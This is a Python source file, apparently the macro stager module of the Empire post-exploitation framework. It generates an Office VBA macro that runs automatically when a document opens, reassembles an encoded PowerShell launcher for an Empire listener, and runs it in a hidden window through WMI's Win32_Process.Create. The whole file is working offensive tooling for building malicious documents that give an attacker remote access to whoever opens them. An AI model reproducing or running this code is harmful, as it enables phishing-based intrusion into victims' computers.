Empire/lib/stagers/macro.py

112 lines
4.4 KiB
Python

from lib.common import helpers
class Stager:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Macro',
'Author': ['@enigma0x3', '@harmj0y'],
'Description': ('Generates an office macro for Empire, compatible with office 97-2003, and 2007 file types.'),
'Comments': [
'http://enigma0x3.wordpress.com/2014/01/11/using-a-powershell-payload-in-a-client-side-attack/'
]
}
# any options needed by the stager, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Listener' : {
'Description' : 'Listener to generate stager for.',
'Required' : True,
'Value' : ''
},
'StagerRetries' : {
'Description' : 'Times for the stager to retry connecting.',
'Required' : False,
'Value' : '0'
},
'OutFile' : {
'Description' : 'File to output macro to, otherwise displayed on the screen.',
'Required' : False,
'Value' : '/tmp/macro'
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Proxy' : {
'Description' : 'Proxy to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'ProxyCreds' : {
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# extract all of our options
listenerName = self.options['Listener']['Value']
userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
stagerRetries = self.options['StagerRetries']['Value']
# generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
if launcher == "":
print helpers.color("[!] Error in launcher command generation.")
return ""
else:
chunks = list(helpers.chunks(launcher, 50))
payload = "\tDim Str As String\n"
payload += "\tstr = \"" + str(chunks[0]) + "\"\n"
for chunk in chunks[1:]:
payload += "\tstr = str + \"" + str(chunk) + "\"\n"
macro = "Sub Auto_Open()\n"
macro += "\tDebugging\n"
macro += "End Sub\n\n"
macro = "Sub AutoOpen()\n"
macro += "\tDebugging\n"
macro += "End Sub\n\n"
macro += "Sub Document_Open()\n"
macro += "\tDebugging\n"
macro += "End Sub\n\n"
macro += "Public Function Debugging() As Variant\n"
macro += payload
macro += "\tConst HIDDEN_WINDOW = 0\n"
macro += "\tstrComputer = \".\"\n"
macro += "\tSet objWMIService = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2\")\n"
macro += "\tSet objStartup = objWMIService.Get(\"Win32_ProcessStartup\")\n"
macro += "\tSet objConfig = objStartup.SpawnInstance_\n"
macro += "\tobjConfig.ShowWindow = HIDDEN_WINDOW\n"
macro += "\tSet objProcess = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2:Win32_Process\")\n"
macro += "\tobjProcess.Create str, Null, objConfig, intProcessID\n"
macro += "End Function\n"
return macro